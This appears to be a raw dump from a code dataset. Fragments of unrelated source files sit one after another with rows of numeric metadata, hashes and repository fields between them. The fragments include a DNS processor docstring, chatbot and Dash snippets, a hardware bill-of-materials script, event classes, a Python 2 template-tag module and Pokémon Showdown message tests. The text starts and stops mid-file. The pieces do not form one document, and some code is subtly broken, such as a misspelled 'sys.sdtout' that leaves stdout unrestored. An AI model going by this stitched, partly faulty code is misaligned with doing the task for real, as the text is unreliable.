called, the results of which can be modified, and then `Zone.add_record` may be used with `replace=True`. - May call `Zone.remove_record` to remove records from `existing`. ''' return existing def process_plan(self, plan, sources, target): ''' Called after the planning phase has completed. Provides an opportunity for the processors to modify the plan thus changing the actions that will be displayed and potentially applied. - `plan` may be None if no changes were detected, if so a `Plan` may still be created and returned. - May modify `plan.changes` directly or create a new `Plan`. - Does not have to modify `plan.desired` and/or `plan.existing` to line up with any modifications made to `plan.changes`. - Should copy over `plan.exists`, `plan.update_pcent_threshold`, and `plan.delete_pcent_threshold` when creating a new `Plan`. - Must return a `Plan` which may be `plan` or can be a newly created one `plan.desired` and `plan.existing` copied over as-is or modified. ''' # plan may be None if no changes were detected up until now, the # process may still create a plan. # sources may be empty, as will be the case for aliased zones return plan
42.9
79
0.656011
398
3,003
4.88191
0.324121
0.018013
0.032424
0.024704
0.368502
0.318065
0.318065
0.318065
0.318065
0.23263
0
0
0.275724
3,003
69
80
43.521739
0.893333
0.7336
0
0
0
0
0
0
0
0
0
0
0
1
0.363636
false
0
0.090909
0
0.818182
0.090909
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
98f3d13b82fab9609fdc2b0329d1a56ea323eeda
313
py
Python
src/programy/utils/oob/default.py
narnikgamarnikus/program-y
777b9a8a75ec787c037de9f11a8527875ff450b1
[ "MIT" ]
null
null
null
src/programy/utils/oob/default.py
narnikgamarnikus/program-y
777b9a8a75ec787c037de9f11a8527875ff450b1
[ "MIT" ]
null
null
null
src/programy/utils/oob/default.py
narnikgamarnikus/program-y
777b9a8a75ec787c037de9f11a8527875ff450b1
[ "MIT" ]
null
null
null
import logging from programy.utils.oob.oob import OutOfBoundsProcessor class DefaultOutOfBoundsProcessor(OutOfBoundsProcessor): def __init__(self): OutOfBoundsProcessor.__init__(self) def execute_oob_command(bot, clientid): logging.info("Default OOB Processing....") return ""
24.076923
56
0.738019
30
313
7.366667
0.666667
0.072398
0
0
0
0
0
0
0
0
0
0
0.175719
313
12
57
26.083333
0.856589
0
0
0
0
0
0.083067
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
98f6e9166ba29402fad8b7f12c39367542f2ac9f
415
py
Python
views/page2.py
Chris3691/Dash-Flask-Users
9fbb0e1dfc9afaa4b03d77a43a84bac40aa50490
[ "MIT" ]
105
2019-02-14T14:10:37.000Z
2022-03-30T13:49:42.000Z
views/page2.py
Chris3691/Dash-Flask-Users
9fbb0e1dfc9afaa4b03d77a43a84bac40aa50490
[ "MIT" ]
4
2019-04-26T17:46:13.000Z
2021-06-15T15:47:47.000Z
views/page2.py
Chris3691/Dash-Flask-Users
9fbb0e1dfc9afaa4b03d77a43a84bac40aa50490
[ "MIT" ]
32
2019-03-28T17:42:01.000Z
2022-03-16T13:54:09.000Z
# Dash packages import dash_bootstrap_components as dbc import dash_html_components as html from app import app ############################################################################### ########### PAGE 2 LAYOUT ########### ############################################################################### layout = dbc.Container([ html.H2('Page 2 Layout'), html.Hr(), ], className="mt-4")
23.055556
79
0.385542
34
415
4.588235
0.558824
0.128205
0.141026
0
0
0
0
0
0
0
0
0.01105
0.127711
415
17
80
24.411765
0.41989
0.06506
0
0
0
0
0.083333
0
0
0
0
0
0
1
0
false
0
0.428571
0
0.428571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
98f9e5fbb16dd02fb775df7c325d298d17237bb3
154
py
Python
tests/roots/test-ext-viewcode-find/conf.py
PeerHerholz/smobsc
db34d2bb96b80579bd4a3f4c198a6b524c5a134a
[ "BSD-2-Clause" ]
3
2019-06-11T09:42:08.000Z
2020-03-10T15:57:09.000Z
tests/roots/test-ext-viewcode-find/conf.py
PeerHerholz/smobsc
db34d2bb96b80579bd4a3f4c198a6b524c5a134a
[ "BSD-2-Clause" ]
12
2019-01-09T15:43:57.000Z
2020-01-21T10:46:30.000Z
tests/roots/test-ext-viewcode-find/conf.py
PeerHerholz/smobsc
db34d2bb96b80579bd4a3f4c198a6b524c5a134a
[ "BSD-2-Clause" ]
10
2019-02-04T11:49:35.000Z
2020-03-21T13:32:20.000Z
# -*- coding: utf-8 -*- extensions = ['sphinx.ext.viewcode'] master_doc = 'index' exclude_patterns = ['_build'] viewcode_follow_imported_members = False
22
40
0.720779
18
154
5.833333
0.944444
0
0
0
0
0
0
0
0
0
0
0.007353
0.116883
154
6
41
25.666667
0.764706
0.136364
0
0
0
0
0.229008
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c70c9bded0fb622ecf3ba1f67f2ae79c0c0cd58c
4,005
py
Python
JumpscaleLibsExtra/tools/threefold_simulation/notebooks/hardware/components/components_hpem.py
threefoldtech/jumpscaleX_libs_extra
74324027e50d00b08c5b0d609e4492a85d4f8080
[ "Apache-2.0" ]
1
2020-10-05T08:53:57.000Z
2020-10-05T08:53:57.000Z
JumpscaleLibsExtra/tools/threefold_simulation/notebooks/hardware/components/components_hpem.py
threefoldtech/jumpscaleX_libs_extra
74324027e50d00b08c5b0d609e4492a85d4f8080
[ "Apache-2.0" ]
17
2019-11-14T08:41:37.000Z
2020-05-27T09:23:51.000Z
JumpscaleLibsExtra/tools/threefold_simulation/notebooks/hardware/components/components_hpem.py
threefoldtech/jumpscaleX_libs_extra
74324027e50d00b08c5b0d609e4492a85d4f8080
[ "Apache-2.0" ]
null
null
null
def bom_populate(bom): bom.components.new( name="s1", description="HPE ML30 INTEL, 4U Tower, 8 HD's fit inside, 1 gbit dual", cost=378, rackspace_u=0, cru=0, sru=0, hru=0, mru=0, su_perc=50, cu_perc=50, power=150, ) bom.components.new( name="s2", description="HPE ML110 INTEL, 4U Tower, 8 HD's fit inside, 1 gbit dual", cost=454, rackspace_u=4, cru=0, sru=0, hru=0, mru=0, su_perc=90, cu_perc=10, power=150, ) bom.components.new(name="margin", description="margin per node for threefold and its partners", power=0, cost=500) bom.components.new( name="hd12", description="HPE 12TB SATA 6G Midline 7.2K LFF (6-8 watt)", cost=350, hru=12000, power=10, su_perc=100 ) bom.components.new( name="intel1", description="Intel Xeon E-2224 (3.4GHz/4-core/71W) (4 logical cores)", cost=296, cru=4, power=80, cu_perc=100, passmark=8202, ) bom.components.new( name="intel2", description="Intel Xeon-Silver 4208 (2.1GHz/8-core/85W) (16 logical cores)", cost=576, cru=16, power=85, cu_perc=100, passmark=13867, ) bom.components.new( name="intel3", description="Intel Xeon-Silver 4216 (2.1GHz/16-core/100W) (32 logical cores)", cost=1041, cru=16, power=100, cu_perc=100, passmark=20656, ) bom.components.new(name="ssd1", description="960 GB HPE SSD", cost=180, sru=1920, power=10, su_perc=100) bom.components.new(name="mem16_ecc", description="mem 16", cost=98, mru=16, power=8, cu_perc=100) bom.components.new(name="mem32_ecc", description="mem 32", cost=220, mru=32, power=8, cu_perc=100) #bom.components.new(name="sas_contr", description="HPE Smart Array E208i-p SR Gen10 (8 Internal Lanes/No Cache)", cost=60, power=20, su_perc=100) #bom.components.new(name="power_supply", description="350 Power Supply", cost=16, power=0, cu_perc=50, su_perc=50) #bom.components.new(name="sas_cable", description="sas cable kit", cost=33, power=0, su_perc=100) #bom.components.new(name="front_fan", description="front fan kit", cost=44, power=0, cu_perc=50, su_perc=50) bom.components.new( name="ng2", description="48 ports 10 gbit + 4 ports 10 gbit sfp: fs.com + cables", cost=1, power=100, rackspace_u=1, ) # create the template ml30 d = bom.devices.new(name="hpe_compute_tower_ml30") d.components.new(name="s1", nr=1) d.components.new(name="intel1", nr=1) d.components.new(name="hd12", nr=2) d.components.new(name="mem16_ecc", nr=1) d.components.new(name="ssd1", nr=1) #d.components.new(name="sas_contr", nr=1) #d.components.new(name="power_supply", nr=1) #d.components.new(name="sas_cable", nr=1) #d.components.new(name="front_fan", nr=1) # create the template ml110 8core d = bom.devices.new(name="hpe_compute_tower_ml110_8") d.components.new(name="s2", nr=1) d.components.new(name="intel2", nr=1) d.components.new(name="hd12", nr=2) d.components.new(name="mem32_ecc", nr=2) d.components.new(name="ssd1", nr=1) #d.components.new(name="sas_contr", nr=1) #d.components.new(name="power_supply", nr=1) # create the template ml110 16core d = bom.devices.new(name="hpe_compute_tower_ml110_16") d.components.new(name="s2", nr=1) d.components.new(name="intel3", nr=1) d.components.new(name="hd12", nr=2) d.components.new(name="mem32_ecc", nr=2) d.components.new(name="ssd1", nr=1) #d.components.new(name="sas_contr", nr=1) #d.components.new(name="power_supply", nr=1) d = bom.devices.new(name="switch_48") d.components.new(name="ng2", nr=1) return bom
31.785714
150
0.604494
609
4,005
3.893268
0.238095
0.126951
0.279629
0.182202
0.536483
0.498946
0.436525
0.403627
0.389709
0.297765
0
0.102269
0.240699
4,005
125
151
32.04
0.677409
0.219725
0
0.382022
0
0.033708
0.21865
0.030225
0
0
0
0
0
1
0.011236
false
0.033708
0
0
0.022472
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c718ef666c3218103fa3051f27ca773b6b6ed60a
237
py
Python
exam1/4b.py
kkkarnav/ashoka
7fab3832d04d77eeb2d20d8bc575e3bad3cd3e99
[ "Apache-2.0" ]
1
2021-10-08T16:28:14.000Z
2021-10-08T16:28:14.000Z
exam1/4b.py
kkkarnav/ashoka
7fab3832d04d77eeb2d20d8bc575e3bad3cd3e99
[ "Apache-2.0" ]
null
null
null
exam1/4b.py
kkkarnav/ashoka
7fab3832d04d77eeb2d20d8bc575e3bad3cd3e99
[ "Apache-2.0" ]
null
null
null
def q2(stop_value): first, second = 0, 1 i = 0 while first < stop_value: print(f"{i}th term is: {first}") first, second = first + second, first i += 1 if __name__ == "__main__": n = 20 q2(n)
18.230769
45
0.518987
35
237
3.228571
0.571429
0.292035
0.283186
0
0
0
0
0
0
0
0
0.051613
0.345992
237
12
46
19.75
0.677419
0
0
0
0
0
0.126582
0
0
0
0
0
0
1
0.1
false
0
0
0
0.1
0.1
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c71b225b99fb5106f830c03fac99e155e02f6217
4,294
py
Python
easygl/display/events.py
overdev/easygl-0.1.0-alpha1
c3ab70c272db670cbe4e79a99371d21da466d8a0
[ "MIT" ]
null
null
null
easygl/display/events.py
overdev/easygl-0.1.0-alpha1
c3ab70c272db670cbe4e79a99371d21da466d8a0
[ "MIT" ]
null
null
null
easygl/display/events.py
overdev/easygl-0.1.0-alpha1
c3ab70c272db670cbe4e79a99371d21da466d8a0
[ "MIT" ]
null
null
null
# !/usr/bin/python # -*- coding: utf-8 -*- # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - # # The MIT License (MIT) # # Copyright (c) 2017 Jorge A. Gomes (jorgegomes83 at hotmail dot com) # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - from collections import namedtuple as nt __all__ = [ 'CloseWindow', 'Focus', 'JoyAxis', 'JoyBall', 'JoyButtonDown', 'JoyButtonUp', 'JoyHat', 'KeyDown', 'KeyUp', 'LeftButtonDown', 'LeftButtonUp', 'MiddleButtonDown', 'MiddleButtonUp', 'MouseMotion', 'MouseWheelDown', 'MouseWheelUp', 'RightButtonDown', 'RightButtonUp', 'VideoExpose', 'VideoResize', ] class MouseMotion(nt("MouseMotion", "position motion lbutton mbutton rbutton")): @property def type(self): return self.__class__ class LeftButtonDown(nt("LeftButtonDown", "position x y")): @property def type(self): return self.__class__ class MiddleButtonDown(nt("MiddleButtonDown", "position x y")): @property def type(self): return self.__class__ class RightButtonDown(nt("RightButtonDown", "position x y")): @property def type(self): return self.__class__ class MouseWheelDown(nt("MouseWheelDown", "position x y")): @property def type(self): return self.__class__ class LeftButtonUp(nt("LeftButtonUp", "position x y")): @property def type(self): return self.__class__ class MiddleButtonUp(nt("MiddleButtonUp", "position x y")): @property def type(self): return self.__class__ class RightButtonUp(nt("RightButtonUp", "position x y")): @property def type(self): return self.__class__ class MouseWheelUp(nt("MouseWheelUp", "position x y")): @property def type(self): return self.__class__ class KeyDown(nt("KeyDown", "key char mod ctrl shift alt")): @property def type(self): return self.__class__ class KeyUp(nt("KeyUp", "key mod ctrl shift alt")): @property def type(self): return self.__class__ class VideoResize(nt("VideoResize", "width height size")): @property def type(self): return self.__class__ class VideoExpose(nt("VideoExpose", "milliseconds datetime")): @property def type(self): return self.__class__ class Focus(nt("MouseFocus", "mouse input milliseconds")): @property def type(self): return self.__class__ class CloseWindow(nt("CloseWindow", "milliseconds datetime")): @property def type(self): return self.__class__ class JoyAxis(nt("JoyAxis", "id axis value")): @property def type(self): return self.__class__ class JoyBall(nt("JoyBall", "id ball motion")): @property def type(self): return self.__class__ class JoyHat(nt("JoyHat", "id hat value")): @property def type(self): return self.__class__ class JoyButtonDown (nt("JoyButtonDown", "id button")): @property def type(self): return self.__class__ class JoyButtonUp (nt("JoyButtonUp", "id button")): @property def type(self): return self.__class__
22.134021
80
0.649511
494
4,294
5.475709
0.334008
0.081331
0.110906
0.140481
0.351571
0.351571
0.351571
0.351571
0.292052
0.228466
0
0.002115
0.22939
4,294
193
81
22.248705
0.815352
0.303912
0
0.582524
0
0
0.256332
0
0
0
0
0
0
1
0.194175
false
0
0.009709
0.194175
0.592233
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
c71c230ee739aa3d57ce0ffdfad288b09e6b86ef
1,901
py
Python
py/pso/tags.py
thanos/pso
79222a87d877acf538e7bdf3c7dd6c6d568d98aa
[ "MIT" ]
1
2019-12-18T14:56:42.000Z
2019-12-18T14:56:42.000Z
py/pso/tags.py
thanos/pso
79222a87d877acf538e7bdf3c7dd6c6d568d98aa
[ "MIT" ]
38
2018-11-19T20:41:26.000Z
2018-12-16T03:43:40.000Z
py/pso/tags.py
thanos/pso
79222a87d877acf538e7bdf3c7dd6c6d568d98aa
[ "MIT" ]
null
null
null
# # tags.py - Python Service Objects # # Author: Thanos Vassilakis thanos@0x01.com # licience: GPL # (c) thanos vassilakis 2000,2001, 2002 # # $Id: tags.py,v 1.6 2002/06/03 15:52:29 thanos Exp $ # from parser import Tag from handlers import TemplateHandler import sys from cStringIO import StringIO class Template(Tag, TemplateHandler): FIELD_NAME='action' def getTemplate(self, req): return req.getInput(self.FIELD_NAME, self.getDefaultTemplate(req)) def __call__(self, handler, cdata=''): # return self.getTemplate( handler.req()) return self.parse(handler.req()) def getDefaultTemplate(self, req): default = self.attrs.get('default') if not default: raise 'please set tag attribute default or override me %s' % self.getDefaultTemplate return default class Exec(Tag): def __call__(self, handler, cdata=''): if not cdata: return '' oldout = sys.stdout try: sys.stdout = StringIO() exec cdata retval = sys.stdout.getvalue() sys.stdout.close() finally: sys.sdtout = oldout return retval class DataMixin: KEY=None def getKey(self, handler): return handler.req().getInput(self.KEY) def getRecord(self, handler, key): pass def record(self, handler): key = self.getKey(handler) if key: scratchKey = (self.DATAMODEL, key) record = handler.scratch().get(scratchKey) if not record: record = self.getRecord(handler, key) if record: handler.scratch()[scratchKey] = record return record def getSelect(self, handler): pass def getSelection(self, handler, select): pass def selection(self, handler): criteria = self.getSelect(handler) scratchKey = (self.DATAMODEL, 'select') cursor = handler.scratch().get(scratchKey) if not cursor: cursor = self.getSelection(handler, criteria) if cursor: handler.scratch()[scratchKey] = cursor return cursor
21.850575
87
0.692793
241
1,901
5.423237
0.369295
0.06733
0.022953
0.027544
0.084162
0.048967
0
0
0
0
0
0.020235
0.194108
1,901
86
88
22.104651
0.832898
0.119937
0
0.037037
0
0
0.041566
0
0
0
0
0
0
0
null
null
0.055556
0.074074
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
c7268937d854028d3a37649d210d5857bdf48a3e
14,332
py
Python
tests/test_message.py
ScottehMax/pyshowdown
34e5809b55ce4032a64c3e07270d13d1a32f83ed
[ "MIT" ]
null
null
null
tests/test_message.py
ScottehMax/pyshowdown
34e5809b55ce4032a64c3e07270d13d1a32f83ed
[ "MIT" ]
null
null
null
tests/test_message.py
ScottehMax/pyshowdown
34e5809b55ce4032a64c3e07270d13d1a32f83ed
[ "MIT" ]
null
null
null
import unittest from pyshowdown import message from pyshowdown.user import User class MessageTest(unittest.TestCase): def test_init(self): m = message.Message("techcode", "|init|chat") self.assertEqual(m.type, "init") self.assertEqual(m.roomtype, "chat") self.assertEqual(m.room, "techcode") def test_title(self): m = message.Message("", "|title|Lobby") self.assertEqual(m.type, "title") self.assertEqual(m.title, "Lobby") self.assertFalse(m.room) def test_users(self): m = message.Message("techcode", "|users|4,@foo@!,+bar@!,@baz@!,%quux") expected = { "foo": User(rank="@", name="foo", status="", away=True), "bar": User(rank="+", name="bar", status="", away=True), "baz": User(rank="@", name="baz", status="", away=True), "quux": User(rank="%", name="quux", status="", away=False), } self.assertEqual(m.type, "users") self.assertEqual(m.usercount, 4) self.assertDictEqual(m.users, expected) self.assertEqual(m.room, "techcode") def test_html(self): m = message.Message("", "|html|<b>Hello!</b>") self.assertEqual(m.type, "html") self.assertEqual(m.html, "<b>Hello!</b>") def test_uhtml(self): m = message.Message("", "|uhtml|foo|<b>Hello!</b>") self.assertEqual(m.type, "uhtml") self.assertEqual(m.name, "foo") self.assertEqual(m.html, "<b>Hello!</b>") def test_uhtmlchange(self): m = message.Message("", "|uhtmlchange|foo|<b>Hello!</b>") self.assertEqual(m.type, "uhtmlchange") self.assertEqual(m.name, "foo") self.assertEqual(m.html, "<b>Hello!</b>") def test_join(self): m = message.Message("", "|j|@foo") self.assertEqual(m.type, "join") self.assertEqual(m.rank, "@") self.assertEqual(m.user, "foo") def test_leave(self): m = message.Message("", "|l|@foo") self.assertEqual(m.type, "leave") self.assertEqual(m.rank, "@") self.assertEqual(m.user, "foo") def test_name(self): m = message.Message("", "|name|@bar|foo") self.assertEqual(m.type, "name") self.assertEqual(m.user, "@bar") self.assertEqual(m.oldid, "foo") def test_chat(self): m = message.Message("lobby", "|c|@foo|hello!") self.assertEqual(m.type, "chat") self.assertIsNone(m.timestamp) self.assertEqual(m.room, "lobby") self.assertEqual(m.user, "@foo") self.assertEqual(m.message, "hello!") def test_timestamp(self): m = message.Message("lobby", "|:|1636113111") self.assertEqual(m.type, "timestamp") self.assertEqual(m.timestamp, 1636113111) def test_timestamp_chat(self): m = message.Message("lobby", "|c:|1636113111|@foo|hello!") self.assertEqual(m.type, "chat") self.assertEqual(m.timestamp, 1636113111) self.assertEqual(m.room, "lobby") self.assertEqual(m.user, "@foo") self.assertEqual(m.message, "hello!") def test_battle(self): m = message.Message("lobby", "|battle|battleid|foo|bar") self.assertEqual(m.type, "battle") self.assertEqual(m.roomid, "battleid") self.assertEqual(m.user1, "foo") self.assertEqual(m.user2, "bar") def test_popup(self): m = message.Message("", "|popup|Hello!") self.assertEqual(m.type, "popup") self.assertEqual(m.message, "Hello!") def test_pm(self): m = message.Message("", "|pm|@foo|@bar|Hello!") self.assertEqual(m.type, "pm") self.assertEqual(m.sender, "@foo") self.assertEqual(m.receiver, "@bar") self.assertEqual(m.message, "Hello!") def test_usercount(self): m = message.Message("", "|usercount|1") self.assertEqual(m.type, "usercount") self.assertEqual(m.usercount, 1) def test_nametaken(self): m = message.Message("", "|nametaken|@foo|sorry") self.assertEqual(m.type, "nametaken") self.assertEqual(m.username, "@foo") self.assertEqual(m.message, "sorry") def test_challstr(self): m = message.Message( "", "|challstr|4|a6ad910c2eda1e23530b1d794bd245e416c3ed14baee99db044b8a952ffcc9962961f32197300e974f5b3aae83c3f7a3a3a8ad5e9024677729239a1f3ad113dfde3de087ac318e3b7f51d81c3b18f147643fe16043f25e6e605d6d2532b2db4e9d20aba05dd82c7f5edded8e0c941a83c6db23aa0e66fd86b4ccc6d980d0c064", ) self.assertEqual(m.type, "challstr") self.assertEqual( m.challstr, "4|a6ad910c2eda1e23530b1d794bd245e416c3ed14baee99db044b8a952ffcc9962961f32197300e974f5b3aae83c3f7a3a3a8ad5e9024677729239a1f3ad113dfde3de087ac318e3b7f51d81c3b18f147643fe16043f25e6e605d6d2532b2db4e9d20aba05dd82c7f5edded8e0c941a83c6db23aa0e66fd86b4ccc6d980d0c064", ) def test_updateuser(self): m = message.Message( "", '|updateuser|@foo|1|winona|{"blockChallenges":false,"blockPMs":false,"ignoreTickets":false,"hideBattlesFromTrainerCard":false,"blockInvites":false,"doNotDisturb":false,"blockFriendRequests":false,"allowFriendNotifications":false,"displayBattlesToFriends":false,"hideLogins":false,"hiddenNextBattle":false,"inviteOnlyNextBattle":false,"language":null}', ) self.assertEqual(m.type, "updateuser") self.assertEqual(m.user, "@foo") self.assertTrue(m.named) self.assertEqual(m.avatar, "winona") self.assertFalse(m.settings["blockChallenges"]) self.assertFalse(m.settings["blockPMs"]) self.assertFalse(m.settings["ignoreTickets"]) self.assertFalse(m.settings["hideBattlesFromTrainerCard"]) self.assertFalse(m.settings["blockInvites"]) self.assertFalse(m.settings["doNotDisturb"]) self.assertFalse(m.settings["blockFriendRequests"]) self.assertFalse(m.settings["allowFriendNotifications"]) self.assertFalse(m.settings["displayBattlesToFriends"]) self.assertFalse(m.settings["hideLogins"]) self.assertFalse(m.settings["hiddenNextBattle"]) self.assertFalse(m.settings["inviteOnlyNextBattle"]) self.assertIsNone(m.settings["language"]) def test_formats(self): m = message.Message( "", "|formats|,1|Sw/Sh Singles|[Gen 8] Random Battle,f|[Gen 8] Unrated Random Battle,b|[Gen 8] Free-For-All Random Battle,7|[Gen 8] Multi Random Battle,5|[Gen 8] OU,e|[Gen 8] OU (Blitz),e|[Gen 8] Ubers,e|[Gen 8] UU,e|[Gen 8] RU,e|[Gen 8] NU,e|[Gen 8] PU,e|[Gen 8] LC,e|[Gen 8] Monotype,e|[Gen 8] 1v1,e|[Gen 8] Anything Goes,e|[Gen 8] ZU,e|[Gen 8] LC UU,c|[Gen 8] CAP,e|[Gen 8] CAP LC,c|[Gen 8] Battle Stadium Singles,1e|[Gen 8] Battle Stadium Singles Series 9,1c|[Gen 8] Gym Challenge,1e|[Gen 8] Custom Game,c|,1|Sw/Sh Doubles|[Gen 8] Random Doubles Battle,f|[Gen 8] Doubles OU,e|[Gen 8] Doubles Ubers,e|[Gen 8] Doubles UU,e|[Gen 8] Doubles LC,c|[Gen 8] VGC 2021 Series 11,1e|[Gen 8] VGC 2021 Series 9,1c|[Gen 8] VGC 2020,1c|[Gen 8] 2v2 Doubles,e|[Gen 8] Metronome Battle,e|[Gen 8] Doubles Custom Game,c|,1|National Dex|[Gen 8] National Dex,e|[Gen 8] National Dex UU,e|[Gen 8] National Dex Monotype,e|[Gen 8] National Dex AG,e|,1|Pet Mods|[Gen 8] Fusion Evolution UU,e|[Gen 6] NEXT OU,8|,2|OM of the Month|[Gen 8] Sketchmons,e|[Gen 8] AAA Doubles,e|,2|Other Metagames|[Gen 8] Balanced Hackmons,e|[Gen 8] Mix and Mega,e|[Gen 8] Almost Any Ability,e|[Gen 8] STABmons,e|[Gen 8] NFE,e|[Gen 8] Free-For-All,6|,2|Challengeable OMs|[Gen 8] Camomons,c|[Gen 8] Godly Gift,c|[Gen 8] Inheritance,c|[Gen 8] Multibility,c|[Gen 8] Nature Swap,c|[Gen 8] Pure Hackmons,c|[Gen 8] Shared Power,c|[Gen 8] The Loser's Game,c|[Gen 8] Trademarked,c|,2|Randomized Metas|[Gen 8] Monotype Random Battle,f|[Gen 8] Random Battle (No Dmax),f|[Gen 8] BSS Factory,1f|[Gen 8] Super Staff Bros 4,f|[Gen 8] Challenge Cup,d|[Gen 8] Challenge Cup 1v1,f|[Gen 8] Challenge Cup 2v2,d|[Gen 8] Hackmons Cup,f|[Gen 8] Doubles Hackmons Cup,d|[Gen 8] CAP 1v1,d|[Gen 7] Random Battle,f|[Gen 7] Random Doubles Battle,d|[Gen 7] Battle Factory,f|[Gen 7] Monotype Battle Factory,f|[Gen 7] BSS Factory,1d|[Gen 7] Hackmons Cup,d|[Gen 7 Let's Go] Random Battle,d|[Gen 6] Random Battle,f|[Gen 6] Battle Factory,d|[Gen 5] Random Battle,f|[Gen 4] Random Battle,f|[Gen 3] Random Battle,f|[Gen 2] Random Battle,f|[Gen 1] Random Battle,f|[Gen 1] Challenge Cup,d|[Gen 1] Hackmons Cup,d|,3|RoA Spotlight|[Gen 6] Ubers,e|[Gen 4] UU,e|[Gen 3] Doubles OU,e|,3|Past Gens OU|[Gen 7] OU,e|[Gen 6] OU,e|[Gen 5] OU,e|[Gen 4] OU,e|[Gen 3] OU,e|[Gen 2] OU,e|[Gen 1] OU,e|,3|Retro Other Metagames|[Gen 7] Balanced Hackmons,e|[Gen 7] Mix and Mega,e|[Gen 7] STABmons,c|[Gen 6] Almost Any Ability,c|[Gen 6] Pure Hackmons,e|,3|US/UM Singles|[Gen 7] Ubers,e|[Gen 7] UU,c|[Gen 7] RU,c|[Gen 7] NU,c|[Gen 7] PU,c|[Gen 7] LC,c|[Gen 7] Monotype,c|[Gen 7] 1v1,c|[Gen 7] Anything Goes,e|[Gen 7] ZU,c|[Gen 7] CAP,c|[Gen 7] Battle Spot Singles,1c|[Gen 7 Let's Go] OU,1c|[Gen 7] Custom Game,c|,3|US/UM Doubles|[Gen 7] Doubles OU,e|[Gen 7] Doubles UU,c|[Gen 7] VGC 2019,1c|[Gen 7] VGC 2018,1c|[Gen 7] VGC 2017,1c|[Gen 7] Battle Spot Doubles,1c|[Gen 7] Doubles Custom Game,c|,4|OR/AS Singles|[Gen 6] UU,c|[Gen 6] RU,c|[Gen 6] NU,c|[Gen 6] PU,c|[Gen 6] LC,c|[Gen 6] Monotype,c|[Gen 6] 1v1,c|[Gen 6] Anything Goes,c|[Gen 6] CAP,c|[Gen 6] Battle Spot Singles,1c|[Gen 6] Custom Game,c|,4|OR/AS Doubles/Triples|[Gen 6] Doubles OU,c|[Gen 6] VGC 2016,1c|[Gen 6] VGC 2015,1c|[Gen 6] VGC 2014,1c|[Gen 6] Battle Spot Doubles,1c|[Gen 6] Doubles Custom Game,c|[Gen 6] Battle Spot Triples,1c|[Gen 6] Triples Custom Game,c|,4|B2/W2 Singles|[Gen 5] Ubers,c|[Gen 5] UU,c|[Gen 5] RU,c|[Gen 5] NU,c|[Gen 5] PU,c|[Gen 5] LC,c|[Gen 5] Monotype,c|[Gen 5] 1v1,c|[Gen 5] GBU Singles,1c|[Gen 5] Custom Game,c|,4|B2/W2 Doubles|[Gen 5] Doubles OU,c|[Gen 5] VGC 2013,1c|[Gen 5] VGC 2012,1c|[Gen 5] VGC 2011,1c|[Gen 5] Doubles Custom Game,c|[Gen 5] Triples Custom Game,c|,5|DPP Singles|[Gen 4] Ubers,c|[Gen 4] NU,c|[Gen 4] PU,c|[Gen 4] LC,c|[Gen 4] 1v1,c|[Gen 4] Anything Goes,c|[Gen 4] Custom Game,c|,5|DPP Doubles|[Gen 4] Doubles OU,c|[Gen 4] VGC 2010,1c|[Gen 4] VGC 2009,1c|[Gen 4] Doubles Custom Game,c|,5|Past Generations|[Gen 3] Ubers,c|[Gen 3] UU,c|[Gen 3] NU,c|[Gen 3] 1v1,c|[Gen 3] Custom Game,c|[Gen 3] Doubles Custom Game,c|[Gen 2] Ubers,c|[Gen 2] UU,c|[Gen 2] NU,c|[Gen 2] 1v1,c|[Gen 2] Nintendo Cup 2000,c|[Gen 2] Stadium OU,c|[Gen 2] Custom Game,c|[Gen 1] Ubers,c|[Gen 1] UU,c|[Gen 1] NU,c|[Gen 1] Japanese OU,c|[Gen 1] Nintendo Cup 1997,c|[Gen 1] Stadium OU,c|[Gen 1] Tradebacks OU,c|[Gen 1] Custom Game,c", ) self.assertEqual(m.type, "formats") self.assertListEqual( list(m.formats.keys()), [ "Sw/Sh Singles", "Sw/Sh Doubles", "National Dex", "Pet Mods", "OM of the Month", "Other Metagames", "Challengeable OMs", "Randomized Metas", "RoA Spotlight", "Past Gens OU", "Retro Other Metagames", "US/UM Singles", "US/UM Doubles", "OR/AS Singles", "OR/AS Doubles/Triples", "B2/W2 Singles", 